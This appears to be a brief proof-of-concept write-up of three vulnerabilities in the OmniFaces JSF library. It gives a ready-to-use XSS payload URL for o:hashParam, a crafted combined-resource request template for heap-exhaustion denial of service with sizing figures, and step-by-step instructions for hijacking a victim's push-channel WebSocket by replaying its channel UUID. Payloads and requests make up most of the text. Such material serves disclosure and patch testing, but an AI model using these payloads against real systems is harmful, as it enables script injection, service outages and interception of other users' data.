OmniFaces: Forged Resource IDs, XSS via o:hashParam, and Push-Channel Replay

# 1. o:hashParam XSS
# Navigate to a page with <o:hashParam> using this fragment:
https://target.example.com/page.jsf#foo='-alert(1)-'__omniXss=1337

# The server reads the fragment value on the follow-up Ajax request
# and writes it unescaped into the CDATA callback block:
# <![CDATA[ omnifaces.HashParam.update('foo', ''-alert(1)-''__omniXss=1337'); ]]>
# The single-quote closes the JS string; the payload executes.

# 2. Combined-resource ID heap exhaustion (DoS)
# Craft a Base64-encoded resource-list ID that expands to ~16 MB when decoded.
# Send it to the combined-resource endpoint:
GET /jakarta.faces.resource/omnifaces:combined.js.xhtml?v=<crafted-base64-id> HTTP/1.1
Host: target.example.com
# 20 754 encoded bytes -> ~16 000 000 decoded chars (~49 MB heap delta per request).
# Each unique ID is also permanently cached; 200 requests = 200 permanent cache entries.

# 3. Push-channel session replay
# Obtain a victim's session-scoped channel UUID (e.g. via XSS or log leak).
# Open a fresh WebSocket with no session cookie and subscribe to that UUID.
# The server checks only whether the UUID exists application-wide, not whether
# the connecting client owns the HTTP session, so the next push to that
# channel is delivered to the attacker's socket.